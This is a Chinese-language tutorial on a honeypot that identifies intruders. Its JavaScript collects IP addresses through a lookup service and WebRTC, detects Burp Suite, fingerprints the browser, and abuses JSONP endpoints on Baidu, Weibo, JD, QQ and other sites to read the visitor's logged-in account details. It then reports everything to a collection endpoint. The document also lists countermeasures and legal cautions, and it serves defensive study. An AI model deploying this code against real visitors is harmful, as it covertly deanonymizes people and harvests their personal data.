利用社交账号精准溯源的蜜罐技术
字数 1096 2025-08-15 21:32:12
利用社交账号精准溯源的蜜罐技术教学文档
1. 蜜罐技术概述
蜜罐技术是一种主动防御技术,通过模拟真实系统吸引攻击者,从而收集攻击信息、混淆攻击面并拖延攻击时间。传统蜜罐只能获取攻击者的一级IP地址,而现代攻击者通常使用多层代理,使得传统溯源方法效果有限。
2. 社交账号溯源技术原理
本技术通过获取攻击设备中的独特指纹信息,特别是社交账号信息,实现更精准的溯源。核心原理:
- 攻击者通常使用自己的笔记本/设备进行攻击
- 设备中可能登录了社交媒体且未退出
- 通过JSONP接口可获取这些社交账号信息
3. 技术实现条件
实现该技术需要满足以下条件:
- 攻击者设备登录过社交媒体且未退出
- 能找到相关社交媒体网站的JSONP接口
- 接口能泄露敏感用户信息
4. 接口类型分析
4.1 JSONP接口
特点:
- 可跨域调用
- 效果好,容易集成到蜜罐中
- 服务端未做特殊限制时可成功调用
4.2 CORS接口
特点:
- 需要接口允许跨域
- 返回头需包含
Access-Control-Allow-Origin: * - 无法携带cookie,浏览器限制使其不适合收集黑客信息
5. 技术实现细节
5.1 获取攻击者IP地址
// 通过淘宝接口获取外部IP
callJSONP("https://www.taobao.com/help/getip.php", 'cb', function(data) {
sendData["network"]["externalIP"] = data['ip'];
});
// 通过WebRTC获取内部IP(现代浏览器已限制)
function getPrivateIP() {
var ip;
window['RTCPeerConnection'] = window["RTCPeerConnection"] || window["mozRTCPeerConnection"] || window["webkitRTCPeerConnection"];
var pc = new RTCPeerConnection({ 'iceServers': [] });
pc.createDataChannel('');
pc.createOffer(pc.setLocalDescription.bind(pc), function() {});
pc.onicecandidate = function(ice) {
if (!ice || !ice.candidate || !ice.candidate.candidate) return;
ip = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1];
pc.onicecandidate = function() {};
};
return new Promise(function(resolve) {
setTimeout(function() { resolve(ip); }, 1200);
});
}
5.2 检测Burp Suite等工具
function getToolInfo() {
const toolInfo = {};
var img = new Image();
img.onload = function() {
toolInfo['burpDet'] = true;
sendData['tool'] = toolInfo;
};
img.onerror = function() {
toolInfo["burpDet"] = false;
sendData["tool"] = toolInfo;
};
img.src = "http://burp/favicon.ico";
}
5.3 获取设备指纹
function getFpHash(components) {
const values = components.map(function(component) {
return component.value;
});
return Fingerprint2.x64hash128(values.join(''), 31);
}
5.4 社交账号信息收集
核心函数getSocialInfo()通过调用各平台的JSONP接口获取用户信息:
function getSocialInfo() {
var socialData = [];
// 百度账号信息
callJSONP("https://baike.baidu.com/api/usercenter/login?msg=1&_=1560425055850", "callback", function(data) {
var info = { 'channel': "baidu", 'extraInfo': {} };
if (data.isLogin) {
if (data.uid) info.uid = data.uid.toString();
if (data.displayName) info.name = data.displayName;
if (data.uname) info.name = data.uname;
if (data.portraitUrl) info.avatar = data.portraitUrl;
socialData.push(info);
}
});
// 58同城账号信息
callJSONP("https://employer.58.com/index/enterpriseinfo", "callback", function(data) {
var info = { 'channel': '58', 'extraInfo': {} };
data = data.data;
if (data.username) {
info.uname = data.username;
socialData.push(info);
}
});
// 微博账号信息
callJSONP("http://api.t.sina.com.cn/account/verify_credentials.json?source=27457034", "callback", function(data) {
var info = { 'channel': 'weibo', 'extraInfo': {} };
if (data.data) {
data = data.data;
if (data.id) {
info.uid = data.id.toString();
if (data.screen_name) info.name = data.screen_name;
if (data.name) info.name = data.name;
if (data.avatar_hd) info.avatar = data.avatar_hd;
socialData.push(info);
}
}
});
// 京东账号信息
callJSONP("https://api.m.jd.com/api?appid=pc_home_page&functionId=getBaseUserInfo&loginType=3", "jsonp", function(data) {
var info = { 'channel': 'jd', 'extraInfo': {} };
if (data.returnObj) {
data = data.returnObj;
if (data.isAuthenticated == 1) {
info.name = data.userNickName;
info.extraInfo = { jdScore: data.jdScore, xbCreditScore: data.xbCreditScore };
if (data.headImg) info.avatar = data.headImg;
socialData.push(info);
}
}
});
// 网易账号信息
callJSONP("http://comment.api.163.com/api/v1/products/a2869674571f77b5a...", 'callback', function(data) {
var info = { 'channel': 'netease', 'extraInfo': {} };
if (data.user) {
data = data.user;
if (data.userId) info.uid = data.userId.toString();
if (data.avatar) info.avatar = data.avatar;
if (data.username) info.uname = atob(data.username);
socialData.push(info);
}
});
// QQ账号信息
callJSONP("https://u.y.qq.com/cgi-bin/musicu.fcg?...", "callback", function(data) {
const info = { 'channel': 'qq' };
const rankData = data.B;
const baseData = data.C;
if (rankData.data && baseData.data) {
var hasData = false;
const rankInfo = rankData.data;
const baseInfo = baseData.data;
if (rankInfo && rankInfo.rankinfo && rankInfo.rankinfo.uin) {
info.uid = rankInfo.rankinfo.uin.toString();
info.uname = rankInfo.rankinfo.uin.toString();
hasData = true;
}
if (baseInfo.name) {
info.name = baseInfo.name;
hasData = true;
}
if (hasData) socialData.push(info);
}
});
return new Promise(function(resolve) {
window.setTimeout(function() { resolve(socialData); }, 1200);
});
}
5.5 JSONP调用函数
function callJSONP(jsonp_url, jsonp_param, callback_func) {
const callbackName = "jQuery" + (version + Math.random()).replace(/\D/g, '') + new Date().getTime();
function setCallback(name, func) {
window[name] = func;
}
function buildUrl(url, param, func) {
var a = document.createElement('a');
a.href = url;
if (a.search.length) {
return url + '&' + param + '=' + func;
}
return url + '?' + param + '=' + func;
}
setCallback(callbackName, callback_func);
jsonp_url = buildUrl(jsonp_url, jsonp_param, callbackName);
loadJS(jsonp_url);
}
function loadJS(url) {
var script = document.createElement('script');
script.src = url;
script.async = true;
document.body.appendChild(script);
}
5.6 数据上报
function reportInfo(data) {
const endpoint = "/api/portrait";
const xhr = new XMLHttpRequest();
xhr.open("POST", endpoint, true);
xhr.setRequestHeader("Content-Type", "application/json");
data = JSON.stringify(data);
xhr.send(data);
}
6. 支持的社交媒体平台
该蜜罐样本支持从以下平台获取用户信息:
- 百度
- 58同城
- 微博
- 京东
- 网易
- QQ音乐/QQ账号
- 爱奇艺
- 当当网
7. 防御措施
为防止此类溯源技术,建议:
- 使用专用浏览器或隐私模式进行渗透测试
- 禁用WebRTC或使用相关插件防止IP泄露
- 使用虚拟机或专用设备进行测试
- 定期清理浏览器cookie和缓存
- 使用浏览器插件阻止第三方跟踪
8. 法律与伦理考量
使用此类技术时需注意:
- 必须遵守当地法律法规
- 仅用于合法授权的安全测试
- 收集的信息需妥善保管,防止滥用
- 明确告知用户数据收集行为(如用于防御目的)
9. 技术局限性
- 依赖攻击者登录社交媒体且未退出
- JSONP接口可能被平台关闭或限制
- 现代浏览器隐私保护功能可能阻止部分信息收集
- 攻击者使用专用设备或虚拟机时可规避
10. 总结
利用社交账号精准溯源的蜜罐技术通过结合传统蜜罐与JSONP接口调用,实现了比单纯IP溯源更精准的攻击者画像能力。该技术在防御高级持续性威胁(APT)和针对性攻击方面具有重要价值,但同时也带来了隐私保护的挑战。安全团队应在法律框架内合理使用此类技术,并持续关注其演进与发展。